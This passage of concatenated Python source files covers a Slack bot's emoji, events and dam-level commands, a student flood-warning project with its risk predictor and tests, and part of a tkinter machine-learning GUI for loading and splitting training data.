":facebook:"] master['G'] = [":g+:", ":google:", ":nintendo_gamecube:", ":gatsbyjs:"] master['H'] = [":hackerrank:", ":homejoy:"] master['I'] = [":information_source:"] master['J'] = [":hook:", choice([":card-jack-clubs:", ":card-jack-diamonds:", ":card-jack-hearts:", ":card-jack-spades:"])] master['K'] = [":kickstarter:", ":kotlin:", choice([":card-king-clubs:", ":card-king-diamonds:", ":card-king-hearts:", ":card-king-spades:"])] master['L'] = [":l:", ":lime:", ":l_plate:"] master['M'] = [":gmail:", ":maccas:", ":mcgrathnicol:", ":melange_mining:", ":mtg:", ":mxnet:"] master['N'] = [":nano:", ":neovim:", ":netscape_navigator:", ":nginx:", ":nintendo_64:", ":office_onenote:"] master['O'] = [":office_outlook:", ":oracle:", ":o_:", ":tetris_o:", ":ubuntu:"] master['P'] = [":auspost:", ":office_powerpoint:", ":office_publisher:", ":pinterest:", ":paypal:", ":producthunt:"] master['Q'] = [":quora:", ":quantium:", choice([":card-queen-clubs:", ":card-queen-diamonds:", ":card-queen-hearts:", ":card-queen-spades:"])] master['R'] = [":r-project:", ":rust:", ":redroom:", ":registered:"] master['S'] = [":s:", ":skedulo:", ":stanford:", ":stripe_s:", ":sublime:", ":tetris_s:"] master['T'] = [":tanda:", choice([":telstra:", ":telstra-pink:"]), ":tesla:", ":tetris_t:", ":torchwood:", ":tumblr:"] master['U'] = [":uber:", ":uqu:", ":the_horns:"] master['V'] = [":vim:", ":vue:", ":vuetify:", ":v:"] master['W'] = [":office_word:", ":washio:", ":wesfarmers:", ":westpac:", ":weyland_consortium:", ":wikipedia_w:", ":woolworths:"] master['X'] = [":atlassian_old:", ":aginicx:", ":sonarr:", ":x-files:", ":xbox:", ":x:", ":flag-scotland:", ":office_excel:"] master['Y'] = [":hackernews:"] master['Z'] = [":tetris_z:"] # numbers master['0'] = [":chrome:", ":suncorp:", ":disney_zero:", ":firefox:", ":mars:", choice([":dvd:", ":cd:"])] master['1'] = [":techone:", ":testtube:", ":thonk_ping:", ":first_place_medal:"] master['2'] = [":second_place_medal:", choice([":card-2-clubs:", ":card-2-diamonds:", ":card-2-hearts:", ":card-2-spades:"])] master['3'] = [":css:", ":third_place_medal:", choice([":card-3-clubs:", ":card-3-diamonds:", ":card-3-hearts:", ":card-3-spades:"])] master['4'] = [choice([":card-4-clubs:", ":card-4-diamonds:", ":card-4-hearts:"]), ":card-4-spades:"] master['5'] = [":html:", choice([":card-5-clubs:", ":card-5-diamonds:", ":card-5-hearts:", ":card-5-spades:"])] master['6'] = [choice([":card-6-clubs:", ":card-6-diamonds:", ":card-6-hearts:", ":card-6-spades:"])] master['7'] = [choice([":card-7-clubs:", ":card-7-diamonds:", ":card-7-hearts:", ":card-7-spades:"])] master['8'] = [":8ball:", choice([":card-8-clubs:", ":card-8-diamonds:", ":card-8-hearts:", ":card-8-spades:"])] master['9'] = [choice([":card-9-clubs:", ":card-9-diamonds:", ":card-9-hearts:", ":card-9-spades:"])] # whitespace master[' '] = [":whitespace:"] master['\n'] = ["\n"] # other ascii characters (sorted by ascii value) master['!'] = [":exclamation:"] master['"'] = [choice([":ldquo:", ":rdquo:"]), ":pig_nose:"] master['#'] = [":slack_old:", ":csharp:"] master['$'] = [":thonk_money:", ":moneybag:"] # '&' converts to '&AMP;' master['&'] = [":ampersand:", ":dnd:"] master['*'] = [":day:", ":nab:", ":youtried:", ":msn_star:", ":rune_prayer:", ":wolfram:"] master['+'] = [":tf2_medic:", ":flag-ch:", ":flag-england:"] master['-'] = [":no_entry:"] master['.'] = [":black_small_square:"] master['/'] = [":slash:"] # '>' converts to '&GT;' master['>'] = [":accenture:", ":implying:", ":plex:", ":powershell:"] master['?'] = [":question:"] master['@'] = [":whip:"] master['^'] = [":this:", ":typographical_carrot:", ":arrow_up:"] master['~'] = [":wavy_dash:"] # slack/uqcsbot convert the following to other symbols # greek letters # 'ฮ‘' converts to 'A' master['ฮ‘'] = [":alpha:"] # 'ฮ’' converts to 'B' master['ฮ’'] = [":beta:"] # 'ฮ›' converts to 'L' master['ฮ›'] = [":halflife:", ":haskell:", ":lambda:", ":racket:"] # 'ฮ ' converts to 'P' master['ฮ '] = [":pi:"] # 'ฮฃ' converts to 'S' master['ฮฃ'] = [":polymathian:"] # other symbols (sorted by unicode value) # 'โ€ฆ' converts to '...' master['โ€ฆ'] = [":lastpass:"] # 'โ‚ฌ' converts to 'EUR' master['โ‚ฌ'] = [":martian_euro:"] # 'โˆš' converts to '[?]' master['โˆš'] = [":sqrt:"] # 'โˆž' converts to '[?]' master['โˆž'] = [":arduino:", ":visualstudio:"] # 'โˆด' converts to '[?]' master['โˆด'] = [":julia:"] text = "" if command.has_arg(): text = command.arg.upper() # revert HTML conversions text = text.replace("&GT;", ">") text = text.replace("&LT;", "<") text = text.replace("&AMP;", "&") lexicon = {} for character in set(text+'โ€ฆ'): full, part = divmod((text+'โ€ฆ').count(character), len(master[character])) shuffle(master[character]) lexicon[character] = full * master[character] + master[character][:part] shuffle(lexicon[character]) ellipsis = lexicon['โ€ฆ'].pop() response = "" for character in text: emoji = lexicon[character].pop() if len(response + emoji + ellipsis) > 4000: response += ellipsis break response += emoji bot.post_message(command.channel_id, response) ``` #### File: uqcsbot/scripts/events.py ```python from typing import List import re from datetime import date, datetime, timedelta from calendar import month_name, month_abbr, day_abbr from icalendar import Calendar import requests from pytz import timezone, utc from typing import Tuple, Optional from uqcsbot import bot, Command from uqcsbot.utils.command_utils import UsageSyntaxException, loading_status from uqcsbot.utils.itee_seminar_utils import (get_seminars, HttpException, InvalidFormatException) CALENDAR_URL = ("https://calendar.google.com/calendar/ical/" + "q3n3pce86072n9knt3pt65fhio%40group.calendar.google.com/public/basic.ics") FILTER_REGEX = re.compile('full|all|[0-9]+( weeks?)?|jan.*|feb.*|mar.*' + '|apr.*|may.*|jun.*|jul.*|aug.*|sep.*|oct.*|nov.*|dec.*') BRISBANE_TZ = timezone('Australia/Brisbane') # empty string to one-index MONTH_NUMBER = {month.lower(): index for index, month in enumerate(month_abbr)} class EventFilter(object): def __init__(self, full=False, weeks=None, cap=None, month=None, is_valid=True): self.is_valid = is_valid self._full = full self._weeks = weeks self._cap = cap self._month = month @classmethod def from_argument(cls, argument: str): if not argument: return cls(weeks=2) else: match = re.match(FILTER_REGEX, argument.lower()) if not match: return cls(is_valid=False) filter_str = match.group(0) if filter_str in ['full', 'all']: return cls(full=True) elif 'week' in filter_str: return cls(weeks=int(filter_str.split()[0])) elif filter_str[:3] in MONTH_NUMBER: return cls(month=MONTH_NUMBER[filter_str[:3]]) else: return cls(cap=int(filter_str)) def filter_events(self, events: List['Event'], start_time: datetime): if self._weeks is not None: end_time = start_time + timedelta(weeks=self._weeks) return [e for e in events if e.start < end_time] if self._month is not None: return [e for e in events if e.start.month == self._month] elif self._cap is not None: return events[:self._cap] return events def get_header(self): if self._full: return "List of *all* upcoming events" elif self._weeks is not None: return f"Events in the *next _{self._weeks}_ weeks*" elif self._month is not None: return f"Events in *_{month_name[self._month]}_*" else: return f"The *next _{self._cap}_ events*" def get_no_result_msg(self): if self._weeks is not None: return f"There don't appear to be any events in the next *{self._weeks}* weeks" elif self._month is not None: return f"There don't appear to be any events in *{month_name[self._month]}*" else: return "There don't appear to be any upcoming events..." class Event(object): def __init__(self, start: datetime, end: datetime, location: str, summary: str, link: Optional[str]): self.start = start self.end = end self.location = location self.summary = summary self.link = link @classmethod def encode_text(cls, text: str) -> str: """ Encodes user-specified text so that it is not interpreted as command characters by Slack. Implementation as required by: https://api.slack.com/docs/message-formatting Note that this encoding process does not stop injection of text effects (bolding, underlining, etc.), or a malicious user breaking the text formatting in the events command. It should, however, prevent <, & and > being misinterpreted and including links where they should not. -- :param text: The text to encode :return: The encoded text """ return text.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;") @classmethod def from_cal_event(cls, cal_event): start = cal_event.get('dtstart').dt end = cal_event.get('dtend').dt # ical 'dt' properties are parsed as a 'DDD' (datetime, date, duration) type. # The below code converts a date to a datetime, where time is set to midnight. if isinstance(start, date) and not isinstance(start, datetime): start = datetime.combine(start, datetime.min.time()).astimezone(utc) if isinstance(end, date) and not isinstance(end, datetime): end = datetime.combine(end, datetime.max.time()).astimezone(utc) location = cal_event.get('location', 'TBA') summary = cal_event.get('summary') return cls(start, end, location, summary, None) @classmethod def from_seminar(cls, seminar_event: Tuple[str, str, datetime, str]): title, link, start, location = seminar_event # ITEE doesn't specify the length of seminars, but they are normally one hour end = start + timedelta(hours=1) # Note: this return cls(start, end, location, title, link) def __str__(self): d1 = self.start.astimezone(BRISBANE_TZ) d2 = self.end.astimezone(BRISBANE_TZ) start_str = (f"{day_abbr[d1.weekday()].upper()}" + f" {month_abbr[d1.month].upper()} {d1.day} {d1.hour}:{d1.minute:02}") if (d1.month, d1.day) != (d2.month, d2.day): end_str = (f"{day_abbr[d2.weekday()].upper()}" + f" {month_abbr[d2.month].upper()} {d2.day} {d2.hour}:{d2.minute:02}") else: end_str = f"{d2.hour}:{d2.minute:02}" # Encode user-provided text to prevent certain characters # being interpreted as slack commands. summary_str = Event.encode_text(self.summary) location_str = Event.encode_text(self.location) if self.link is None: return f"*{start_str} - {end_str}* - `{summary_str}` - _{location_str}_" else: return f"*{start_str} - {end_str}* - `<{self.link}|{summary_str}>` - _{location_str}_" def get_current_time(): """ returns the current date and time this function exists purely so it can be mocked for testing """ return datetime.now(tz=BRISBANE_TZ).astimezone(utc) @bot.on_command('events') @loading_status def handle_events(command: Command): """ `!events [full|all|NUM EVENTS|<NUM WEEKS> weeks] [uqcs|itee]` - Lists all the UQCS and/or ITEE events that are scheduled to occur within the given filter. If unspecified, will return the next 2 weeks of events. """ argument = command.arg if command.has_arg() else "" source_get = {"uqcs": False, "itee": False} for k in source_get: if k in argument: source_get[k] = True argument = argument.replace(k, "") argument = argument.strip() if not any(source_get.values()): source_get = dict.fromkeys(source_get, True) event_filter = EventFilter.from_argument(argument) if not event_filter.is_valid: raise UsageSyntaxException() cal = Calendar.from_ical(get_calendar_file()) current_time = get_current_time() events = [] # subcomponents are how icalendar returns the list of things in the calendar if source_get["uqcs"]: for c in cal.subcomponents: # TODO: support recurring events # we are only interested in ones with the name VEVENT as they # are events we also currently filter out recurring events if c.name != 'VEVENT' or c.get('RRULE') is not None: continue # we convert it to our own event class event = Event.from_cal_event(c) # then we want to filter out any events that are not after the current time if event.start > current_time: events.append(event) if source_get["itee"]: try: # Try to include events from the ITEE seminars page seminars = get_seminars() for seminar in seminars: # The ITEE website only lists current events. event = Event.from_seminar(seminar) events.append(event) except (HttpException, InvalidFormatException) as e: bot.logger.error(e.message) # then we apply our event filter as generated earlier events = event_filter.filter_events(events, current_time) # then, we sort the events by date events = sorted(events, key=lambda e: e.start) # then print to the user the result if not events: message = (f"_{event_filter.get_no_result_msg()}_\r\n" "For a full list of events, visit: https://uqcs.org.au/calendar.html" + " and https://www.itee.uq.edu.au/seminar-list") else: message = f"{event_filter.get_header()}\r\n" + '\r\n'.join(str(e) for e in events) bot.post_message(command.channel_id, message) def get_calendar_file() -> bytes: """ Loads the UQCS Events calender .ics file from Google Calendar. This method is mocked by unit tests. :return: The returned ics calendar file, as a stream """ http_response = requests.get(CALENDAR_URL) return http_response.content ``` #### File: uqcsbot/scripts/water.py ```python from uqcsbot import bot, Command import requests from bs4 import BeautifulSoup from typing import List, Tuple from uqcsbot.utils.command_utils import UsageSyntaxException LIST_COMMAND = ['ls', 'list', 'dir'] REGIONS = { 'seq': { 'aliases': ['brisbane', 'bne', 'brisvegas', 'qld', 'queensland'], 'url': 'https://www.seqwater.com.au/dam-levels' } } @bot.on_command("water") def handle_water(command: Command): """ `!water <REGION>` - Prints the dam level for the region. `!water <LIST|LS|DIR>` - Prints a list of all regions. """ if not command.has_arg(): raise UsageSyntaxException() words = command.arg.split(' ') if len(words) > 1: raise UsageSyntaxException() response = [] # Print the list of regions if words[0].lower() in LIST_COMMAND: response.append("Available regions:") for region in REGIONS: response.append(f">{region} (aliases: {', '.join(REGIONS[region]['aliases'])})") else: # Print the info for a specific region if words[0].lower() in REGIONS or words[0].lower() in [alias['aliases'] for alias in REGIONS.values()]: actual_region = words[0].lower() name = words[0] if words[0].lower() not in REGIONS: for region in REGIONS: if words[0].lower() in REGIONS[region]['aliases']: actual_region = region name = region if actual_region == 'seq': http_response = requests.get(REGIONS[actual_region]['url']) html = BeautifulSoup(http_response.content, 'html.parser') maximum_prev_sibling = html.find("div", string='Full supply capacity') maximum_reading = maximum_prev_sibling.find_next_sibling("div") current_prev_sibling = html.find("div", string='Current capacity') current_reading = current_prev_sibling.find_next_sibling("div") maximum = int("".join(list(filter(str.isdigit, maximum_reading.get_text())))) current = int("".join(list(filter(str.isdigit, current_reading.get_text())))) percent = 100 * (current / maximum) response.append(f"{name} is at *{percent:3.2f}%* ({current:,}ML of {maximum:,}ML)") else: response.append(f"No region or alias found matching '{words[0]}'") else: response.append(f"No region or alias found matching '{words[0]}'") bot.post_message(command.channel_id, '\r\n'.join(response)) ```
{ "source": "Joseph-Garvey/Flood-Warning", "score": 3 }
#### File: Flood-Warning/floodsystem/analysis.py ```python import numpy as np import matplotlib.dates as dt import matplotlib.pyplot as plt # implement function # input: water level time history (dates, levels) for a station # computes least-squares fit polynomial of a degree p to water level data # returns: # tuple of # polynomaial object # shift of time (date) axis #task 2F #TODO #2 return correct object #TODO #9 test this whether returns correct type def polyfit(dates, levels, p): dates = dt.date2num(dates) p_coeff = np.polyfit(dates - dates[0], levels, p) poly = np.poly1d(p_coeff) return poly, dt.date2num(dates[0]) def gradientcalc(poly, t): der = np.polyder(poly) return der(t) ``` #### File: Flood-Warning/floodsystem/predictor.py ```python from .station import MonitoringStation def predictor(stations, gradient_weight, rel_weight, abs_weight): """assigns an attribute 'station_risk' to each MonitoringStation object based on a weighted sum of rel_water_level & gradient Parameters: stations = list of MonitoringStation objects \n gradient_weight = weight of gradient \n relative_weight = weight of rel_water_level abs_weight = weight of absolute level difference from average of typical range values """ for station in stations: station_risk = (gradient_weight * (station.der) + rel_weight * (station.relative_water_level) + abs_weight * (station.latest_level - (station.typical_range[0] + station.typical_range[1]) / 2)) / (gradient_weight + rel_weight) station.station_risk = station_risk return stations def assigning_risk(stations, severe_threshold, high_threshold, moderate_threshold): """assigns an attribute string (1 of 4: โ€˜severeโ€™, โ€˜highโ€™, โ€˜moderateโ€™ or โ€˜lowโ€™) to each station object Parameters: stations = list of MonitoringStation objects \n thresholds = floats that determine what station_risk values count as each label """ for station in stations: if station.station_risk > severe_threshold: risk_label = "severe" elif station.station_risk > high_threshold: risk_label = "high" elif (station.station_risk > moderate_threshold) or station.latest_level > station.typical_range[1]: risk_label = "moderate" else: risk_label = "low" station.risk_label = risk_label return stations ``` #### File: Joseph-Garvey/Flood-Warning/Task1F.py ```python from floodsystem.stationdata import build_station_list from floodsystem.station import inconsistent_typical_range_stations def run(): """Task 1F: prints a list of station names, in alphabetical order, for stations with inconsistent data""" # Build list of stations stations = build_station_list() # Create empty list incons_station_names = [] # Loop over incons_stations list for station in inconsistent_typical_range_stations(stations): # Get station names incons_station_names.append(station.name) # Sort list by alphabetical order & print sorted_incons_station_names = sorted(incons_station_names) print(sorted_incons_station_names) if __name__ == "__main__": print("*** Task 1F: CUED Part IA Flood Warning System ***") run() ``` #### File: Joseph-Garvey/Flood-Warning/test_predictor.py ```python from floodsystem.station import MonitoringStation from floodsystem.predictor import predictor, assigning_risk # Create list of dummy stations, 1 with consistent & available data, 1 with empty level data, 1 with empty typical data, 1 with inconsistent low/high data station_D = MonitoringStation('ID D', 'Measurement ID D', 'Name D', (0.0, 20.0), (1.0, 2.0), 'Big River', 'Town D') station_D.latest_level = 1.5 station_D.der = 2.0 station_E = MonitoringStation('ID E', 'Measurement ID E', 'Name E', (0.0, 20.0), (1.0, 2.0), 'Big River', 'Town E') station_E.latest_level = 1.9 station_E.der = 1.0 station_F = MonitoringStation('ID F', 'Measurement ID F', 'Name F', (0.0, 20.0), (1.0, 2.0), 'Big River', 'Town F') station_F.latest_level = 2.0 station_F.der = 2.0 station_list = [station_D, station_E, station_F] def test_predictor(): predictor(station_list, gradient_weight=1, rel_weight=5, abs_weight=15) # assert that attribute type is a float for station in station_list: assert type(station.station_risk) == float # assert that attribute value is as expected assert station_D.station_risk == 0.75 assert station_E.station_risk == 1.9166666666666663 assert station_F.station_risk == 2.4166666666666665 def test_assigning_risk(): assigning_risk(station_list, severe_threshold=3, high_threshold=2.25, moderate_threshold=1.5) # assert that attribute type is a string for station in station_list: assert type(station.risk_label) == str # assert that attribute value is as expected assert station_D.risk_label == 'low' assert station_E.risk_label == 'moderate' assert station_F.risk_label == 'high' ```
{ "source": "Joseph-Garzon/MachineLearningGUI", "score": 3 }
#### File: Joseph-Garzon/MachineLearningGUI/newML_gui_v11.py ```python from tkinter import Tk, ttk, Frame, Button, Label, Entry, Text, Checkbutton, Radiobutton,\ Scale, Listbox, Menu, N, E, S, W, HORIZONTAL, END, FALSE, IntVar, StringVar #from tkinter import BOTH, RIGHT, RAISED, messagebox as box, PhotoImage #import os import numpy as np import matplotlib.pyplot as plt import read_text_file as rd import read_header_line as rhl import scatterg as a2dscatter import scatterg3D as a3dscatter import Normalize_Features as NF import Randomize_training_samples as RTS #import Gather_Attrib_Statistics as SA #Creating GUI class Compact_Frame(Frame): def __init__(self, master): #Initialize the frame super(Compact_Frame, self).__init__(master) #super class Constructor self.pack() #Make the frame a pack to control geometry. self.FeaturesDef = ['X1', 'X2', 'X3', '...', '...', 'Y'] self.NormalizeVar=0 self.v=IntVar(self) self.v.set(1) #Initialize without normalization or randomization self.v_dim=IntVar(self) self.v_dim.set(2) #Initialize dimensions to 2D self.sizeTrainXval=StringVar(self) self.sizeTrainXval.set('Click Button') self.centreWindow() self.create_widgets() self.plot_data() self.plot_predictions() self.dimension() def create_widgets(self): #Create a new class for widgets #Event Menu Bar menubar = Menu(self.master) self.master.config(menu=menubar) fileMenu = Menu(menubar) fileMenu.add_command(label="Input Training Data", command=self.input_train_file) fileMenu.add_command(label="Input Unlabeled Data", command=self.input_unlabeled_file) fileMenu.add_command(label="Exit", command=self.quit) menubar.add_cascade(label="File", menu=fileMenu) #Event Label/text box that will be shown adjacent text box (Training File Label) self.TrainingNameLabel = Label(self, text="Training File:") self.TrainingNameLabel.grid(row=0, column=0, sticky=W+E) self.TrainingNameText = Entry(self, width=20) self.TrainingNameText.grid(row=0, column=1, padx=5, pady=5, ipady=2, sticky=W+E) #Event Label/text box that will be shown adjacent text box (Unlabeled (application File Label) self.ApplicationNameLabel = Label(self, text="Application File:") self.ApplicationNameLabel.grid(row=1, column=0, sticky=W+E) self.ApplicationNameText = Entry(self, width=20) self.ApplicationNameText.grid(row=1, column=1, padx=5, pady=5, ipady=2, sticky=W+E) #Event Feature List Box self.FeaturesDefList = Listbox(self, height=6) for t in self.FeaturesDef: self.FeaturesDefList.insert(END, t) self.FeaturesDefList.grid(row=2, column=0, columnspan=2, pady=5, sticky=N+E+S+W) #Event Labels and text boxes to populate matrix self.X1_label = Label(self, text="X1 in column") self.X1_label.grid(row=4, column=0, sticky=W) self.X2_label = Label(self, text="X2 in column") self.X2_label.grid(row=5, column=0, sticky=W) self.X3_label = Label(self, text="X3 in column") self.X3_label.grid(row=6, column=0, sticky=W) self.y_label = Label(self, text="Label in column") self.y_label.grid(row=7, column=0, sticky=W) self.num_labels = Label(self, text="# of Labels") self.num_labels.grid(row=8, column=0, sticky=W) self.X1 = Entry(self) self.X1.grid(row=4, column=1, sticky=W) self.X2 = Entry(self) self.X2.grid(row=5, column=1, sticky=W) self.X3 = Entry(self) self.X3.grid(row=6, column=1, sticky=W) self.y = Entry(self) self.y.grid(row=7, column=1, sticky=W) self.num_labels = Entry(self) self.num_labels.grid(row=8, column=1, sticky=W) #Event icon in to Populate matrix from PIL import Image, ImageTk self.image = Image.open("LeftArrow_Icon2.JPG") self.resized = self.image.resize((23, 10),Image.ANTIALIAS) self.arrow=ImageTk.PhotoImage(self.resized) #Event buttons to Populate matrix self.X1_button = Button(self, width=10, command=self.X1bttnAction) self.X1_button.grid(row=4, column=1, padx=130, sticky=W) self.X1_button.config(image=self.arrow, width=25,height=12) self.X2_button = Button(self, width=10, command=self.X2bttnAction) self.X2_button.grid(row=5, column=1, padx=130, sticky=W) self.X2_button.config(image=self.arrow, width=25,height=12) self.X3_button = Button(self, width=10, command=self.X3bttnAction) self.X3_button.grid(row=6, column=1, padx=130, sticky=W) self.X3_button.config(image=self.arrow, width=25,height=12) self.y_button = Button(self, width=10, command=self.ybttnAction) self.y_button.grid(row=7, column=1, padx=130, sticky=W) self.y_button.config(image=self.arrow, width=25,height=12) ######### #Event Matrix Text after selecting the features and averaging self.MatrixText = Text(self, padx=5, pady=5, width=20, height=10) self.MatrixText.grid(row=9, column=0, columnspan=3, pady=5, sticky=N+E+S+W) #Event Label Text after selecting the features and averaging self.labelText = Text(self, padx=5, pady=5, width=20, height=10) self.labelText.grid(row=9, column=3, columnspan=1, pady=5, sticky=N+E+S+W) ## columns>=2 #Event Sliding bar Training Samle Size and label self.sizeVar = StringVar() self.sizeLabel = Label(self, text="Training Sample Size:", textvariable=self.sizeVar) self.sizeLabel.grid(row=0, column=2, columnspan=2, sticky=W+E) self.sizeScale = Scale(self, from_=10, to=100, orient=HORIZONTAL, resolution=5, command=self.onsizeScale, tickinterval=10) self.sizeScale.grid(row=1, column=2, columnspan=2, padx=10, sticky=W+E) #Event label training and xvalidation matrix shapes # self.sizeTrainXval=StringVar() self.MatrixLabel = Label(self, text="Training Shape:", textvariable=self.sizeTrainXval) self.MatrixLabel.grid(row=0, column=4, columnspan=2, padx=10, sticky=E+W) #Event create training and xvalidation samples self.TrainXvalBtn = Button(self, text="Training Matrix", width=30, command=self.RandomTrainSample) self.TrainXvalBtn.grid(row=1, column=4, columnspan=2, padx=10, sticky=E+W) #Event Checkbutton to normalize training data. self.NormalizeVar = IntVar() self.NormalizeCheckBtn = Checkbutton(self, text="Normalized?", variable=self.NormalizeVar, command=self.NormChecked) self.NormalizeCheckBtn.grid(row=2, column=4, sticky=W+N) #Event estimate Average self.AvgBtn = Button(self, text="Gather Average", width=10, command=self.GatherAverage) self.AvgBtn.grid(row=2, column=2, padx=5, pady=40, sticky=W+N+S) self.check_Matrix = Button(self, text="Define/Check Matrix X", command=self.reveal_matrix) self.check_Matrix.grid(row=7, column=3, sticky=W+E) #Label Method Selection Combo Box self.algorithmLabel = Label(self, text="Method") self.algorithmLabel.grid(row=10, column=0, sticky=W+E) ######### Bottom, application of the algorithms #Event Combo Box 1 Method of Machine Learning self.methodVar = StringVar() self.methodCombo = ttk.Combobox(self, textvariable=self.methodVar) self.methodCombo['values'] = ('Select Method', 'Naive Bayes', 'Logistical Regression', 'Support Vector Machine', 'Neural Network SciKit', 'Neural Network 2') self.methodCombo.current(0) self.methodCombo.bind("<<ComboboxSelected>>", self.newMethod) self.methodCombo.grid(row=10, column=1, padx=5, pady=10, ipady=4, sticky=W) #Event estimate Average self.RunMLalgBtn = Button(self, text="Run ML Alg.", width=10, command=self.RunML) self.RunMLalgBtn.grid(row=10, column=2, padx=5, pady=3, sticky=W+E) #Output labeled data self.outputBtn=Button(self, text="Output", width=10, command=self.outputtxt) self.outputBtn.grid(row=9, column=4, padx=5, pady=3, sticky=W+E) #Event Score self.scoreVar = StringVar() self.scoreVar.set("Score") #Label Score self.scoreLabel= Label(self, textvariable=self.scoreVar) self.scoreLabel.grid(row=10, column=3, sticky=W+E) #Event runtime self.runtimeVar = StringVar() self.runtimeVar.set("Runtime") #Label Score self.runtimeLabel= Label(self, textvariable=self.runtimeVar) self.runtimeLabel.grid(row=10, column=4, sticky=W+E) ######### Matrix Dimensions def dimension(self): options_dim =[("1D",1),("2D",2),("3D",3),("All D",4)] for txt_dim,val_dim in options_dim: self.options_dim_radiobuttons=Radiobutton(self, text=txt_dim, padx=20, variable=self.v_dim, value=val_dim) self.options_dim_radiobuttons.grid(row=3+val_dim, column=2, sticky=W) ######################## ######### Bottom, Plot Left def plot_data(self): #Scatter Widgets self.HistogramBtn = Button(self, text="Histogram", width=10, command=self.HistogramClass) self.HistogramBtn.grid(row=11, column=0, padx=5, pady=3, sticky=W+E) self.a1dscatterBtn = Button(self, text="1DScatter", width=10, command=self.scatter1D) self.a1dscatterBtn.grid(row=12, column=0, padx=5, pady=3, sticky=W+E) self.a2dscatterBtn = Button(self, text="2DScatter", width=10, command=self.scatter2D) self.a2dscatterBtn.grid(row=13, column=0, padx=5, pady=3, sticky=W+E) self.a3dscatterBtn = Button(self, text="3DScatter", width=10, command=self.scatter3D) self.a3dscatterBtn.grid(row=14, column=0, padx=5, pady=3, sticky=W+E) options =[("Average Gather",1), ("Average Gather Randomized Training",2), ("Average Gather Randomized Xvalidation",3), ("Average Gather Normalized Random Training",4), ("Average Gather Normalized Random Xvalidation",5), ("Full Gather",6), ] for txt,val in options: self.options_radiobuttons=Radiobutton(self, text=txt, padx=20, variable=self.v, value=val) self.options_radiobuttons.grid(row=10+val, column=1, sticky=W) ######### Bottom, Plot right def plot_predictions(self): #Scatter Widgets self.HistogramBtn_pred = Button(self, text="HistogramPred", width=10, command=self.HistogramClass_pred) self.HistogramBtn_pred.grid(row=11, column=2, padx=5, pady=3, sticky=W+E) self.a1dscatterBtn_pred = Button(self, text="1DScatterPred", width=10, command=self.scatter1D_pred) self.a1dscatterBtn_pred.grid(row=12, column=2, padx=5, pady=3, sticky=W+E) self.a2dscatterBtn_pred = Button(self, text="2DScatterPred", width=10, command=self.scatter2D_pred) self.a2dscatterBtn_pred.grid(row=13, column=2, padx=5, pady=3, sticky=W+E) self.a3dscatterBtn_pred = Button(self, text="3DScatterPred", width=10, command=self.scatter3D_pred) self.a3dscatterBtn_pred.grid(row=14, column=2, padx=5, pady=3, sticky=W+E) self.quickplotBtn=Button(self, text="QuickPlot_ppt", width=10, command=self.quickplotppt) self.quickplotBtn.grid(row=15, column=2, padx=5, pady=3, sticky=W+E) ###################### Event Handlers #Event handler: center the window and size it adequately def centreWindow(self): w = 1100 h = 780 sw = self.master.winfo_screenwidth() sh = self.master.winfo_screenheight() x = (sw - w)/2 y = (sh - h)/2 self.master.geometry('%dx%d+%d+%d' % (w, h, x, y)) #Event handler: Input training data via Menu Bar def input_train_file(self): global X global header_list from tkinter.filedialog import askopenfilename filename=askopenfilename() header_list=rhl.read_header_line(filename) X=rd.read_text_file(filename) self.TrainingNameText.delete(0, END) self.TrainingNameText.insert(0,filename) self.FeaturesDefList.delete(0, END) #Event handler FeaturesDefList counter=0 for t in header_list: header_column=str(counter) self.FeaturesDefList.insert(END, t + " "+ header_column) counter=counter+1 print (X) #Event handler: Input unlabeled application data via Menu Bar def input_unlabeled_file(self): global Xapp global output_file from tkinter.filedialog import askopenfilename filename=askopenfilename() Xapp=rd.read_text_file(filename) self.ApplicationNameText.delete(0, END) self.ApplicationNameText.insert(0,filename) print (Xapp) output_file=filename+"_out.txt" #Event handler: Button Get Averages def GatherAverage(self): global XGather global XappGather # XGather=SA.XGather(X) # print (XGather) # XappGather=SA.XGather(Xapp) XGather=X XappGather=Xapp ######################################## #Event Handler, buttons to update matrix def X1bttnAction(self): X1feature=self.FeaturesDefList.curselection() self.X1.insert(END,X1feature) def X2bttnAction(self): X2feature=self.FeaturesDefList.curselection() self.X2.insert(END,X2feature) def X3bttnAction(self): X3feature=self.FeaturesDefList.curselection() self.X3.insert(END,X3feature) def ybttnAction(self): yfeature=self.FeaturesDefList.curselection() self.y.insert(END,yfeature) ############ end buttons for ease of matrix definition #Event Handler MatrixText def reveal_matrix(self): import numpy as np global Xin, u_label, Xout global u_label u_label=np.zeros((len(XGather[:,1]),1)) col_y = self.y.get() if col_y == "": message = "Always need Label" self.y.insert(END,message) else: col_y=int(col_y) u_label=XGather[:,col_y] chosen_dim=self.v_dim.get() if chosen_dim==1: Xin=np.zeros((len(XGather[:,1])))[np.newaxis].T Xout=np.zeros((len(XappGather[:,1])))[np.newaxis].T elif chosen_dim==2: Xin=np.zeros((len(XGather[:,1]),2)) Xout=np.zeros((len(XappGather[:,1]),2)) elif chosen_dim==3: Xin=np.zeros((len(XGather[:,1]),3)) Xout=np.zeros((len(XappGather[:,1]),3)) elif chosen_dim==4: Xin=np.delete(XGather,col_y,axis=1) Xout=np.delete(XappGather,col_y,axis=1) col_X1 = self.X1.get() if col_X1 == "": message = "Neeed # for 1D,2D,3D" self.X1.insert(END,message) else: col_X1=int(col_X1) Xin[:,0]=XGather[:,col_X1] Xout[:,0]=XappGather[:,col_X1] col_X2 = self.X2.get() if col_X2 == "": message = "Neeed # for 2D,3D" self.X2.insert(END,message) else: col_X2=int(col_X2) Xin[:,1]=XGather[:,col_X2] Xout[:,1]=XappGather[:,col_X2] col_X3 = self.X3.get() if col_X3 == "": message = "Neeed # for 3D" self.X3.insert(END,message) else: col_X3=int(col_X3) Xin[:,2]=XGather[:,col_X3] Xout[:,2]=XappGather[:,col_X3] self.MatrixText.delete(0.0,END) self.MatrixText.insert(0.0,Xin[0:9,:]) self.labelText.delete(0.0,END) display_label=np.array(u_label[0:9])[np.newaxis].T print(display_label) self.labelText.insert(0.0,display_label[0:9,:]) #Event Handler Button MatrixShape: def RandomTrainSample(self): global Xtrain,labeltrain,X_xval,label_xval train_size_pct=self.sizeScale.get() Xtrain,labeltrain,X_xval,label_xval=RTS.randomTrain(Xin,u_label,train_size_pct) self.sizeTrainXval.set("Training Matrix: " + str(Xtrain.shape)+ " XValidation Matrix: " + str(X_xval.shape)) normalization_choice=self.NormalizeVar.get() if normalization_choice==1: Xtrain=NF.featureNormalize(Xtrain) X_xval=NF.featureNormalize(X_xval) #Event handler: 